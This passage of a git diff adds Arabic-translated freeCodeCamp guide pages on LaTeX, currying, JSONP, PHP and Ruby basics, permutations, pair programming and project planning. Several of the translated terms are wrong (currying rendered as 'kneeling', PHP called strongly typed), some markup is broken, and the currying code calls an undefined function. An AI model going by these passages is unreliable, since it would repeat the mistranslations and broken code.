+ \end{array}$$ 
+` 
+
+## مصفوفة
+
+ `$$\begin{pmatrix} 1 & 0 \\ 0 & 1 \end{pmatrix}$$ 
+` 
+
+## التنسيق
+
+ `$$\huge\textstyle\color{#F00}{BigRed}\small\textstyle\color{#0F0}{SmallGreen}$$ 
+` 
+
+[دعم الوظائف](https://github.com/Khan/KaTeX/wiki/Function-Support-in-KaTeX)
+
+## تفاصيل
+
+[KaTeX Github Repo](https://github.com/Khan/KaTeX) LaTeX هو نظام تنضيد عالي الجودة. يتضمن ميزات مصممة لإنتاج الوثائق التقنية والعلمية. LaTeX هو المعيار الواقعي للاتصال ونشر الوثائق العلمية. مزاياه ملحوظة في وثائق طويلة مثل الكتب والأوراق أو الأطروحة.
+
+يستخدم Gitter Katex (تنفيذ مخصص لـ LaTeX) ويمكن استخدامه لتقديم الكود التالي:
+
+ `$$\begin{array} {cc} 
+ item11 & item12\ 
+ item21 & item 22\ 
+ \end{array} 
+ $$ 
+` 
+
+نص:
+
+*   `$$\huge\textstyle{some text}$$` -> $$ \\ huge \\ textstyle {some text} $$
+*   `$$\color{#F90}{some text}$$` -> $$ \\ color {# F90} {some text} $$
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-currying/index.md b/client/src/guide/arabic/miscellaneous/learn-about-currying/index.md
new file mode 100644
index 0000000000..d37943f55e
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-currying/index.md
@@ -0,0 +1,45 @@
+---
+title: Learn About Currying
+localeTitle: تعلم عن الركوع
+---
+إنه فعل أخذ دالة بأكثر من وسيطة واحدة وتحويلها إلى دالة مكافئة تأخذ وسيطة واحدة. يعتمد هذا على إعادة الوظائف المطبقة جزئيًا.
+
+**أصلي**
+
+ `function add (verb, a, b) { 
+   return "The " + verb + " of " + a + ' and ' + b + ' is ' + (a + b) 
+ } 
+ 
+ add('sum', 5, '6') 
+   //=> 'The sum of 5 and 6 is 11' 
+` 
+
+**النسخة الكاريضة**
+
+ `function addCurried (verb) { 
+    return function (a) { 
+      return function (b) { 
+        return "The " + verb + " of " + a + ' and ' + b + ' is ' + (a + b) 
+      } 
+    } 
+  } 
+ 
+  addCurried('total')(6)(5) 
+   //=> 'The total of 6 and 5 is 11' 
+` 
+
+إن التمارين باليد ستكون جهدًا مدهشًا ، لكن علاقتها الوثيقة بالتطبيق الجزئي تعني أنه إذا تركت تطبيقًا جزئيًا ، فيمكنك أن تستمد من الكاري. أو إذا كان لديك منحنى ، يمكنك استخلاص تطبيق جزئي الأيسر.
+
+هذه وظيفة تقوم بأداء أي وظيفة مع وسيطين:
+
+ `  function curryTwo (fn) { 
+    return function (x) { 
+      return callFirst(fn, x) 
+    } 
+  } 
+ 
+  function add2 (a, b) { return a + b } 
+ 
+  curryTwo(add2)(5)(6) 
+   //=> 11 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-elixir/index.md b/client/src/guide/arabic/miscellaneous/learn-about-elixir/index.md
new file mode 100644
index 0000000000..9634b4eb67
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-elixir/index.md
@@ -0,0 +1,11 @@
+---
+title: Learn About Elixir
+localeTitle: تعرف على الإكسير
+---
+![Elixir Logo](//discourse-user-assets.s3.amazonaws.com/original/2X/f/ffb29c7c694656265e093920b571731fb25b6029.png)
+
+[Elixir](http://elixir-lang.org/) هي [لغة برمجة](https://en.wikipedia.org/wiki/Functional_programming) [مكتوبة ديناميكيًا](https://en.wikipedia.org/wiki/Type_system#Dynamic_type_checking_and_runtime_type_information) تستخدم [Erlang](https://www.erlang.org/) VM.
+
+تم إنشاؤه من قبل [خوسيه فليم](https://github.com/josevalim) ، كجزء من مشروع البحث والتطوير. بدأ تطوير الإكسير في [أوائل عام 2011](https://github.com/elixir-lang/elixir/graphs/contributors) ؛ وقد اكتسب شعبية كبيرة في السنوات الخمس الماضية.
+
+مع مجتمع نشط متحمس وراء ذلك ، والإكسير هو تماما اللغة التي تحافظ على العقلانية وتجلب الفرح في الترميز.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-html-entities/index.md b/client/src/guide/arabic/miscellaneous/learn-about-html-entities/index.md
new file mode 100644
index 0000000000..941bc320d5
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-html-entities/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn About HTML Entities
+localeTitle: تعرف على كيانات HTML
+---
+هناك أحرف معينة في HTML محجوزة باللغة ، على سبيل المثال `<` و `>` . قد يؤدي استخدامهم في ملف HTML لشيء آخر غير العلامات إلى حدوث أخطاء لأن المتصفح قد يفسرهم كعلامات. إحدى الطرق للتغلب على هذه المشكلة هي استخدام كيانات HTML:
+
+`<` يمكن كتابتها كـ `&lt;` while `>` يمكن كتابتها كـ `&gt;` وسيعرضون كما هو متوقع في المتصفح.
+
+يمكن العثور على قائمة كاملة بكيانات HTML للأحرف المحفوظة والحروف الأخرى غير الموجودة في لوحة المفاتيح مثل © و ∑ على [https://dev.w3.org/html5/html-author/charref](https://dev.w3.org/html5/html-author/charref) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-jsonp/index.md b/client/src/guide/arabic/miscellaneous/learn-about-jsonp/index.md
new file mode 100644
index 0000000000..5f643a8429
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-jsonp/index.md
@@ -0,0 +1,26 @@
+---
+title: Learn About Jsonp
+localeTitle: تعرف على Jsonp
+---
+## JSONP
+
+JSONP لتقف على "JSON مع الحشو". لنفترض أنك تريد تقديم طلبات AJAX إلى نطاق مختلف. حسنا ، لا يمكنك القيام بذلك مع XMLHttpRequest ، كما تفعل عادة ، ولكن يمكنك القيام بذلك مع علامات البرنامج النصي ، كما رأينا [على StackOverflow](https://stackoverflow.com/questions/2067472/what-is-jsonp-all-about) :
+
+ `script = document.createElement('script'); 
+ script.type = 'text/javascript'; 
+ script.src = 'http://www.someWebApiServer.com/some-data'; 
+` 
+
+ولكن هذا قبيح ، والآن لدينا للحصول على عناصر من JSON من علامة النصي ، الإجمالي. لحسن الحظ ، كان منشئو JSONP يفكرون في المستقبل ، لذا بدلاً من وضع نصوصنا كما فعلنا أعلاه ، نقوم بذلك:
+
+ `script.src = 'http://www.someWebApiServer.com/some-data?callback=my_callback'; 
+` 
+
+يؤدي هذا إلى معاودة الاتصال التلقائي بعد تحميل البيانات ، مما يؤدي إلى إنشاء وظيفة بالبيانات المطلوبة داخلها.
+
+### معلومات اكثر:
+
+*   [Wikipidea / JSONP](https://en.wikipedia.org/wiki/JSONP)
+*   [JSONP و JQuery](https://learn.jquery.com/ajax/working-with-jsonp)
+*   [أكثر JSONP مع JQuery](http://api.jquery.com/jquery.getjson/#jsonp)
+*   [Ajax و JSONP](http://stackoverflow.com/questions/5943630/basic-example-of-using-ajax-with-jsonp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-pair-programming/index.md b/client/src/guide/arabic/miscellaneous/learn-about-pair-programming/index.md
new file mode 100644
index 0000000000..7bc145f084
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-pair-programming/index.md
@@ -0,0 +1,13 @@
+---
+title: Learn About Pair Programming
+localeTitle: تعرف على زوج من البرمجة
+---
+البرمجة الزوجية حيث يقوم شخصان برمزهما معاً على كمبيوتر واحد.
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/f/f68cff8b5354f548f9d680369891ece79b8a154f.jpg)
+
+تشجّعك البرمجة الزوجية على مناقشة طرق مختلفة لحلّ المشاكل ، وللتحفيز على الآخر. والنتيجة هي رمز أفضل من أي منكم يمكن أن يكون قد كتب من قبل أنفسكم.
+
+بسبب فوائده ، يقوم العديد من المهندسين ببرمجة البرنامج بدوام كامل. وهي أفضل طريقة لتعلم الترميز. بفضل الأدوات التي تسمح لشخصين بمشاركة الماوس ومدخلات لوحة المفاتيح ، يمكنك إقران البرنامج مع صديق دون الحاجة إلى التواجد في نفس الغرفة.
+
+يمكنك تجربة هذه الفوائد عن طريق برمجة الزوج مع طلاب آخرين في Free Code Camp على تحديات الترميز الخاصة بنا. في نهاية المطاف ، ستعمل مع الأشخاص في المؤسسات غير الربحية لبناء حلول برمجية واقعية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-permutations/index.md b/client/src/guide/arabic/miscellaneous/learn-about-permutations/index.md
new file mode 100644
index 0000000000..8622524931
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-permutations/index.md
@@ -0,0 +1,13 @@
+---
+title: Learn About Permutations
+localeTitle: تعرف على التباديل
+---
+_التقليب_ هو مصطلح رياضي لعدد من الطرق يمكن تجميع مجموعة من الكائنات في مجموعة. إنه يشبه مصطلح رياضي آخر ، _تركيبة_ ، باستثناء اختلاف رئيسي واحد: مع التباديل ، فإن ترتيب itmes في المجموعة يحدث فرقًا.
+
+على سبيل المثال ، لنفترض أنك كنت تسحب الأرقام من قبعة وتعول المجموعات المختلفة من ثلاثة أرقام. في هذه الحالة ، سيكون كل من `[1,2,3]` و `[3,2,1]` مزيجًا من `1` و `2` و `3` ، وسيعتمد ذلك على مجموعة واحدة.
+
+ومع ذلك ، إذا كنت تحسب تباينات للأرقام ، فسيتم حسابها كمثنتين مختلفتين لأن الأرقام الموجودة في كل مجموعة تكون بترتيب مختلف.
+
+يمكن حساب التباديل بإحدى طريقتين ، اعتمادًا على ما إذا كان يتم السماح بالقيم المتكررة أم لا. لحساب عدد التباديل للكائنات `n` بدون تكرار ، يمكنك ببساطة حساب `n!` أو `n * (n-1) * (n-2) ... * 1` . وهذا أمر منطقي ، لأنه إذا اخترت رقمًا واحدًا من القبعة ولم تعيده قبل اختيار الرقم التالي ، فسيكون هناك عدد أقل للاختيار من بينها.
+
+لحساب جزء فقط من إجمالي عدد التباديل (على سبيل المثال ، للعثور على عدد التباديل من ثلاثة أرقام من 1 إلى 10 بدون تكرار) ، تحتاج فقط إلى التكاثر لعدد الخيارات التي تقوم بها. في حالة الأرقام الثلاثة ، ستحتاج فقط إلى مضاعفة `10 * 9 * 8` . وبنفس الطريقة، **إذا** سمح يكرر (بمعنى، يمكنك وضع عدد مرة أخرى في قبعة بعد حصوله)، وكنت اضرب `10 * 10 * 10` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-php-array/index.md b/client/src/guide/arabic/miscellaneous/learn-about-php-array/index.md
new file mode 100644
index 0000000000..496293415b
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-php-array/index.md
@@ -0,0 +1,36 @@
+---
+title: Learn About Php Array
+localeTitle: تعرف على Php Array
+---
+# صفيف PHP
+
+ `Array Can Store multiple values in single Varible. 
+ let's think that you have a list of cars like ( 'BMW', 'Honda', Swift, 'XUV' ) 
+ 
+ but you want to separate this by categories like sport car, xuv. 
+ but you need to put it in a single varible then you need two arrays 
+ 
+ ## Let's Solve this By Programming 
+ 
+   <?php 
+          $sport_cars = array('BMW', 'Honda'); 
+          $xuv_cars = array('Swift', 'XUV'); 
+          echo "Sport Cars List: " . $sport_cars[0] . ", " . $sport_cars[1] . "."; 
+          echo "XUV Cars List: " . $xuv_cars[0] . ", " . $xuv_cars[1] . "."; 
+    ?> 
+ 
+ Output: 
+    Sport Cars List: BMW, Honda. 
+    XUV Cars List: Swift, XUV. 
+` 
+
+ملاحظة: الصفيف هو الفهرس من 0 إلى n يمكنك الوصول إلى كل قيمة بالمرور هناك  
+الرقم القياسي للمتغير كما يلي
+
+ `echo $sport_cars[0]; 
+ 
+ output: 
+    BMW 
+` 
+
+Like That يمكنك الوصول إلى العنصر في صفيف
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-php-loops/index.md b/client/src/guide/arabic/miscellaneous/learn-about-php-loops/index.md
new file mode 100644
index 0000000000..b68542e44b
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-php-loops/index.md
@@ -0,0 +1,116 @@
+---
+title: Learn About Php Loops
+localeTitle: تعرف على Php Loops
+---
+الحلقات هي كتل من التعليمات البرمجية التي تنفذ عدد محدد من المرات. استخدام الحلقات يقلل عدد أسطر التعليمات البرمجية.
+
+تعمل PHP مع 4 أنواع مختلفة من الحلقات:
+
+*   حائط اللوب
+*   هل ... في حين حلقة
+*   لحلقة
+*   حلقة foreach
+
+## حائط اللوب
+
+تستمر حلقة `while` في التنفيذ طالما أن الشرط المحدد صحيح.
+
+\`فب  
+
+ ``Example: 
+ ```php 
+ <?php 
+  $x = 1; 
+   while($x <= 3) 
+   { 
+     echo "x=$x "; 
+     $x++; 
+   } 
+ ?> 
+ ``` 
+ ``` 
+ Output: 
+ x=1 x=2 x=3 
+ ``` 
+ 
+ ## Do...while loop 
+ 
+ In the `do...while` loop the block of code is executed before the condition is checked. 
+ 
+  ```php 
+ <?php 
+     do { 
+       execute code; 
+     } while (condition); 
+ ?> 
+ ``` 
+ Example: 
+ 
+  ```php 
+ <?php 
+ $x= 1; 
+     do { 
+       echo "x=$x "; 
+       $x++; 
+     } while ($x < 5); 
+ ?> 
+ ``` 
+ ``` 
+ Output: 
+ x=1 x=2 x=3 x=4 
+ ``` 
+ 
+ ## For loop 
+ 
+ The `for` loop is used when the number of times the block is to be executed is known in advance. 
+ 
+  ```php 
+ <?php 
+     for (variable initialisation; test condition; increment) 
+     { 
+       execute code; 
+     } 
+ ?> 
+ ``` 
+ Example: 
+ 
+  ```php 
+ <?php 
+    for ($x=1 ; $x <= 4 ; $x++) 
+    { 
+      echo "x= $x "; 
+    } 
+ ?> 
+ ``` 
+ ``` 
+ Output: 
+ x=1 x=2 x=3 x=4 
+ ``` 
+ 
+ ## Foreach loop 
+ 
+ The `foreach` loop helps in traversing through arrays. 
+ 
+  ```php 
+ <?php 
+    foreach ($array as $value) 
+    { 
+      executable code; 
+    } 
+ ?> 
+ ``` 
+ Example: 
+ 
+  ```php 
+ <?php 
+ $numbers= array("One", "Two", "Three"); 
+   foreach ($numbers as $value) 
+   { 
+     echo "$value "; 
+   } 
+ ?> 
+ ``` 
+ ``` 
+ Output: 
+ One Two Three 
+``
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-php-variables/index.md b/client/src/guide/arabic/miscellaneous/learn-about-php-variables/index.md
new file mode 100644
index 0000000000..24b82fbd07
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-php-variables/index.md
@@ -0,0 +1,162 @@
+---
+title: Learn About Php Variables
+localeTitle: تعرف على متغيرات Php
+---
+المتغيرات هي حاويات لتخزين البيانات مثل `strings` ، `integers` ، `boolean` القيم، `array` والكائنات.
+
+يتبع PHP قواعد معينة للإعلانات المتغيرة مثل:
+
+*   يجب أن يبدأ المتغير بعلامة الدولار ($)
+
+مثال:
+
+`php <?php $var = 5; ?>`
+
+*   يمكن أن يحتوي اسم المتغير على أحرف مثل AZ و az و 0-9 و \_ وحروف [ASCII](http://www.asciitable.com/ "ASCII Table") من 127-255.
+
+مثال:
+
+`php <?php $var = 5; //Valid $var_1 = "Foo"; //Valid $_var2 = 'Bar'; //Valid $var.3 = 'Baz'; //Invalid ?>`
+
+*   يمكن أن يبدأ اسم المتغير بتسطير أسفل السطر (\_).
+
+مثال:
+
+`php <?php $_var2 = 'Bar'; //Valid ?>`
+
+*   يجب ألا يبدأ اسم المتغير برقم 0-9.
+
+مثال:
+
+`php <?php $9var3 = 'Baz'; //Invalid ?>`
+
+*   اسم المتغير حساس لحالة الأحرف.
+
+مثال:
+
+ `<?php 
+    $var = 5; //Valid 
+    $VAR = "Foo"; //Valid 
+    echo $var; //Output 5 
+    echo "<br>"; 
+    echo $VAR; //Output Foo 
+ ?> 
+` 
+
+لغة PHP هي لغة مكتوبة بشكل كبير ، وبالتالي لا نحتاج إلى إعلان نوع البيانات للمتغير عند التصريح عن المتغير. على عكس جافا أو C.
+
+ `<?php 
+    $var = 5; 
+    $var2 = 4; 
+    $sum = $var+$var2; 
+    echo $sum; //Output 9 
+    echo "<br>"; 
+    echo $var+$var2; //Output 9 
+ ?> 
+` 
+
+يمكن أيضا أن يتم تعيين المتغيرات عن طريق الرجوع. يسمح هذا للمتغيرين بالرجوع إلى نفس المحتوى. يتم وضع عامل التشغيل `&` قبل المتغير الذي يتم الرجوع إليه.
+
+مثال:
+
+ `<?php 
+    $var1 = "foo"; 
+    $var2 = "bar"; 
+ 
+ myTest($var1, $var2); 
+ 
+ echo $var1; //Output foo 
+ echo $var2; //Output BAR 
+ 
+ function myTest($var1, &$var2){ 
+    $var1 = "FOO"; 
+    $var2 = "BAR"; 
+ } 
+ ?> 
+` 
+
+لتعيين أسماء المتغيرات بشكل ديناميكي ، نستخدم المتغيرات المتغيرة. يمكن أن يكون هذا مفيدًا بشكل خاص عندما تكون هناك حاجة لإنشاء متغيرات متعددة.
+
+مثال:
+
+ `<?php 
+ 
+    $var = 'Tom'; 
+    echo $var;      //Output Tom 
+    $$var = 'Cat'; //The value of $$var is the value of $var. So $$var and $Tom give the same output. 
+    echo $$var;   //Output Cat 
+    echo $Tom;   //Output Cat 
+ ?> 
+` 
+
+# نطاق متغير
+
+يشير نطاق المتغير إلى الأماكن التي يمكن الوصول إليها من المتغير.
+
+*   النطاق العالمي للمتغيرات التي يتم تعريفها خارج دالة. يمكن الوصول إلى هذه المتغيرات من أي مكان ولكن ليس داخل وظيفة.
+*   النطاق المحلي هو للمتغيرات التي تم تعريفها داخل وظيفة لا يمكن الوصول إليها من أي مكان خارج الدالة.
+
+مثال:
+
+ `<?php 
+   $global = "Hello"; 
+ 
+  function Test(){ 
+   $local = "World"; 
+   echo $global; //Error 
+   echo $local; //Output World 
+  } 
+ 
+   Test(); 
+   echo $global; //Output Hello 
+   echo $local; //Error 
+ ?> 
+` 
+
+للوصول إلى المتغيرات العامة داخل وظيفة:
+
+ `<?php 
+   $global = "Hello"; 
+ 
+ function Test(){ 
+   global $global; 
+   $local = "World"; 
+   echo $global; //Output Hello 
+   echo $local; //Output World 
+  } 
+ 
+   Test(); 
+   echo $global; //Output Hello 
+   echo $local; //Error 
+ ?> 
+` 
+
+# المتغيرات الثابتة
+
+في كل مرة يتم إنشاء وظيفة يتم حذف جميع المتغيرات المحلية. للاحتفاظ بالقيمة الأخيرة للمتغير ، نعلن أنه `static` .
+
+مثال:
+
+ `<?php 
+ 
+ function WithStatic(){ 
+   static $var = 0; 
+   echo $var; 
+   $var++; 
+  } 
+ 
+   WithStatic(); //Output 0 
+   WithStatic(); //Output 1 
+   WithStatic(); //Output 2 
+ 
+ function WithoutStatic(){ 
+   $var = 0; 
+   echo $var; 
+   $var++; 
+  } 
+ 
+   WithoutStatic(); //Output 0 
+   WithoutStatic(); //Output 0 
+   WithoutStatic(); //Output 0 
+ ?> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-ruby-arrays/index.md b/client/src/guide/arabic/miscellaneous/learn-about-ruby-arrays/index.md
new file mode 100644
index 0000000000..d84bcd72c8
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-ruby-arrays/index.md
@@ -0,0 +1,28 @@
+---
+title: Learn About Ruby Arrays
+localeTitle: تعرف على صفائف روبي
+---
+### الأساسيات:
+
+*   المصفوفة هي قائمة بالعناصر المفهرسة المخزنة داخل أقواس `<a href='http://ruby-doc.org/core-2.2.0/Array.html' target='_blank' rel='nofollow'>]` .
+*   يستخدم روبي فهرسة الصفر. هذا يعني أن العنصر الأول في المصفوفة مخزَّن في الرقم `0` ، ثم الثاني في الرقم `1` ، وهكذا عند زيادة قيم 1 لكل عنصر إضافي مخزّن في المصفوفة.
+*   يمكن إنشاء الصفائف باستخدام بناء الجملة `[]` أو `Array.new` .
+*   لدى Ruby العديد من الطرق لإنشاء عمليات على صفائف مثل عكس أو إيجاد عنصر مخزن في الصفيف.
+
+## أمثلة:
+
+ `arr = [1,2,3] 
+ # is equivalent to: 
+ arr = Array.new(3) 
+ arr[0] = 1 
+ arr[1] = 2 
+ arr[2] = 3 
+ # is also equivalent to: 
+ arr = Array(1..3) 
+ # All three of these examples return: 
+ [1,2,3] 
+` 
+
+## المراجع:
+
+*   [وثائق روبي الرسمية للصفائف](https://docs.ruby-lang.org/en/2.0.0/Array.html) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-ruby-hashes/index.md b/client/src/guide/arabic/miscellaneous/learn-about-ruby-hashes/index.md
new file mode 100644
index 0000000000..93020c4b86
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-ruby-hashes/index.md
@@ -0,0 +1,33 @@
+---
+title: Learn About Ruby Hashes
+localeTitle: تعرف على روبي هاشز
+---
+### الأساسيات:
+
+*   تجدر الإشارة إلى أن روبي تجاورها كائنات جافا سكريبت أو قواميسها بلغات مثل بايثون.
+*   تحتوي العناصر على عناصر يتم تخزينها بواسطة `key: value` أزواج `key: value` .
+*   يمكن إنشاء تجزئات Ruby باستخدام الطرق التالية:
+    *   `my_hash = {}`
+    *   `my_hash = Hash.new`
+*   هناك العديد من الطرق المضمنة في Ruby للعثور على معلومات وتحديثات التجزئة.
+
+## أمثلة:
+
+ `my_hash = {'name' => 'Batman', 'age' => 25} 
+ # is equivalent to: 
+ my_hash = Hash.new 
+ my_hash<a href='http://www.randomhacks.net/2007/01/20/13-ways-of-looking-at-a-ruby-symbol/' target='_blank' rel='nofollow'>'name'] = 'Batman' 
+ my_hash['age'] = 25 
+ # Both of these examples return: 
+ {"name"=>"Batman", "age"=>25} 
+ 
+ # here is an alternative way to create the array: 
+ {name: 'Batman', age: 25} 
+ # this example return: 
+ {:name=>"Batman", :age=>25} 
+ # learn more about [symbols here</a> 
+` 
+
+## المراجع:
+
+*   [وثائق روبي الرسمية عن تجزئة](http://ruby-doc.org/core-2.2.0/Hash.html) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-ruby-numbers/index.md b/client/src/guide/arabic/miscellaneous/learn-about-ruby-numbers/index.md
new file mode 100644
index 0000000000..ad65c0d4f3
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-ruby-numbers/index.md
@@ -0,0 +1,34 @@
+---
+title: Learn About Ruby Numbers
+localeTitle: تعرف على أرقام روبي
+---
+### الأساسيات:
+
+*   لدى روبي فئتين من الأرقام - الأعداد الصحيحة والنقطة العائمة (تسمى أيضًا العوامات).
+*   الأعداد الصحيحة هي أعداد كاملة يمكن أن تكون موجبة أو سلبية ولكن لا يمكن أن تكون كسور.
+*   اعتماداً على حجمها ، يمكن أن تحتوي الأعداد الصحيحة على `Fixnum` أو `Bignum` .
+*   Floats عبارة عن أرقام بها مكان عشري.
+
+## أمثلة:
+
+ `x = 5.5 
+ x.class 
+ # returns 
+ Float 
+ 
+ x = 5 
+ x.class 
+ # returns 
+ Fixnum 
+ 
+ x = 11122233344455566677 
+ x.class 
+ # returns 
+ Bignum # basically, Bignum is a very large number 
+ # <a href='http://ruby-doc.org/core-2.0.0/Bignum.html' target='_blank' rel='nofollow'>read this article for more info</a> 
+` 
+
+## المراجع:
+
+*   [وثائق روبي الرسمية للأعداد الصحيحة](http://ruby-doc.org/core-2.2.0/Integer.html) .
+*   [وثائق روبي الرسمية للعوامات](http://ruby-doc.org/core-2.2.0/Float.html) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-ruby-strings/index.md b/client/src/guide/arabic/miscellaneous/learn-about-ruby-strings/index.md
new file mode 100644
index 0000000000..4ff86eeba8
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-ruby-strings/index.md
@@ -0,0 +1,44 @@
+---
+title: Learn About Ruby Strings
+localeTitle: تعلم حول روبي الأوتار
+---
+### الأساسيات:
+
+*   سلاسل هي سلسلة من الأحرف 'موتر' معا بين الاقتباس.
+    
+*   يمكن استخدام اقتباسات مفردة أو مزدوجة لإنشاء سلاسل في Ruby.
+    
+*   يقوم روبي بإجراء تقييم إضافي على السلاسل التي يتم إنشاؤها باستخدام علامات اقتباس مزدوجة ، مثل:
+    
+    *   أحرف escaping: `\n` ، `\t` ، `\s`
+        
+    *   استخدام المتغيرات والتعبيرات داخل: `#{variable or expression}`
+        
+*   يتم تقديم سلاسل مع علامات الاقتباس المفردة كما هي ، دون أي اعتبارات خاصة.
+    
+
+## أمثلة:
+
+ `"Hello World" 
+ # is equivalent to: 
+ 'Hello World' 
+ 
+ "This is line 1.\nAnd this is line 2." 
+ # returns: 
+ This is line 1. 
+ And this is line 2. 
+ 
+ name = "Batman" 
+ "Hello, my name is #{name}!" 
+ # returns: 
+ Hello, my name is Batman! 
+ 
+ # Note that for single quotes, ruby doesn't take special consideration for variables or backslashes: 
+ 'This is your name:\n#{name}' 
+ # returns: 
+ This is your name:\n#{name} 
+` 
+
+## المراجع:
+
+*   [وثائق روبي الرسمية للسلاسل](http://ruby-doc.org/core-2.2.0/String.html) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-about-the-latex-language/index.md b/client/src/guide/arabic/miscellaneous/learn-about-the-latex-language/index.md
new file mode 100644
index 0000000000..6bc9bdb7fe
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-about-the-latex-language/index.md
@@ -0,0 +1,47 @@
+---
+title: Learn About the Latex Language
+localeTitle: تعرف على لغة اللاتكس
+---
+تم تصميم LaTeX (وضوحا LAH-tekh أو LAY-tekh) لإنتاج الوثائق التقنية والعلمية. يمكنك بسهولة إنشاء المصفوفات والمصفوفات ووظائف الرياضيات الأخرى باستخدام نظام التنضيد هذا. يمكن للمستخدمين تنسيق المستندات الخاصة بهم باستخدام التعليمات البرمجية بدلاً من واجهة المستخدم الرسومية (GUI).
+
+`$$ (latex language) $$`
+
+يمكنك تضمين Latex في GitterIM. أمثلة:
+
+## مجموعة مصفوفة
+
+ `$$\begin{array} {cc} 
+ arr11 & arr12\\ 
+ arr21 & arr22\\ 
+ \end{array}$$ 
+` 
+
+## مصفوفة
+
+ `$$\begin{pmatrix} 1 & 0 \\ 0 & 1 \end{pmatrix}$$ 
+` 
+
+## التنسيق
+
+ `$$\huge\textstyle\color{#F00}{BigRed}\small\textstyle\color{#0F0}{SmallGreen}$$ 
+` 
+
+[دعم الوظائف](https://github.com/Khan/KaTeX/wiki/Function-Support-in-KaTeX)
+
+## تفاصيل
+
+[KaTeX Github Repo](https://github.com/Khan/KaTeX) LaTeX هو نظام تنضيد عالي الجودة. يتضمن ميزات مصممة لإنتاج الوثائق التقنية والعلمية. LaTeX هو المعيار الواقعي للاتصال ونشر الوثائق العلمية. مزاياه ملحوظة في وثائق طويلة مثل الكتب والأوراق أو الأطروحة.
+
+يستخدم Gitter Katex (تنفيذ مخصص لـ LaTeX) ويمكن استخدامه لتقديم الكود التالي:
+
+ `$$\begin{array} {cc} 
+ item11 & item12\ 
+ item21 & item 22\ 
+ \end{array} 
+ $$ 
+` 
+
+نص:
+
+*   `$$\huge\textstyle{some text}$$` -> $$ \\ huge \\ textstyle {some text} $$
+*   `$$\color{#F90}{some text}$$` -> $$ \\ color {# F90} {some text} $$
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-how-to-plan-your-future-project/index.md b/client/src/guide/arabic/miscellaneous/learn-how-to-plan-your-future-project/index.md
new file mode 100644
index 0000000000..c7d2163d31
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-how-to-plan-your-future-project/index.md
@@ -0,0 +1,130 @@
+---
+title: Learn How to Plan Your Future Project
+localeTitle: تعلم كيف تخطط لمشروعك المستقبلي
+---
+أوقية من الإعداد يستحق رطل من العلاج. هذا صحيح في الطب ، وهذا صحيح بالتأكيد في تطوير البرمجيات.
+
+في ما يلي سير عمل منظم من 10 خطوات سيوجهك خلال عملية تخطيط التطبيق ، وذلك بهدف إنقاذك من كتابة الكثير من الشفرات غير الضرورية.
+
+معًا ، سنخطط لتطبيق ويب فردي "بسيط". سنخطط أيضًا لإنشاء واجهة خلفية واجهة برمجة التطبيقات لتطبيق جوّال في المستقبل.
+
+## 1) قم بإنشاء لوحة Trello
+
+[Trello](https://trello.com/) هي طريقة ممتعة ومجانية لكسر عملية التخطيط والتطوير الخاصة بك إلى مهام صغيرة يمكن تتبعها.
+
+![صورة لوحة Trello](https://lh3.googleusercontent.com/EI4AQ4NINm3B2DHR_YIS29JyKVa5dTPiT3RtITylmndFlpshTHepsKuO8_1KQNfdPDSBjslDReHCuPFeH1GNrDtgOwTyq6ZtGf3DFBmq1AsAhPHKt_0pLXQLf0o4ZbDuKVj4-Bo)
+
+[إليك ما سيبدو عليه لوح Trello الخاص بنا في النهاية](https://trello.com/b/O9MZcYyY/todo-app) . أفضل تقسيم المهام إلى 3 أعمدة (حسب درجة تعقيد المشروع):
+
+*   للقيام - ما تبقى للقيام به
+*   في التقدم - المهام التي يعمل الناس حاليا على
+*   فعلت - المهام التي تتم وجاهزة للاختبار
+
+## 2) كتابة قصص المستخدم
+
+فيما يلي بعض الأمثلة على قصص المستخدمين. ستوجه هذه الطريقة كيف نفكر في ميزات ووظائف التطبيق لدينا. لاحظ أنهم جميعًا يتبعون بنية مشابهة: [كإنسان\] يمكنني \[أن أفعل شيئًا\].](https://lh5.googleusercontent.com/2v6iIMbCrLSKVfqttEToum7OA3YGQCBKWUHcSCB1KEbEcijXxQtKJKY6fhLXeecJiO27P4icOuPlkVc9_uNXolzlzNXOo_TPh09GZsAqRH-JISqPrpx0PZdtbHOr0RIuQUbTbaw)
+
+*   كمستخدم مسجل الدخول ، يمكنني رؤية قائمة المهام الخاصة بي.
+*   كمستخدم مسجل الدخول ، يمكنني إضافة وظيفة جديدة.
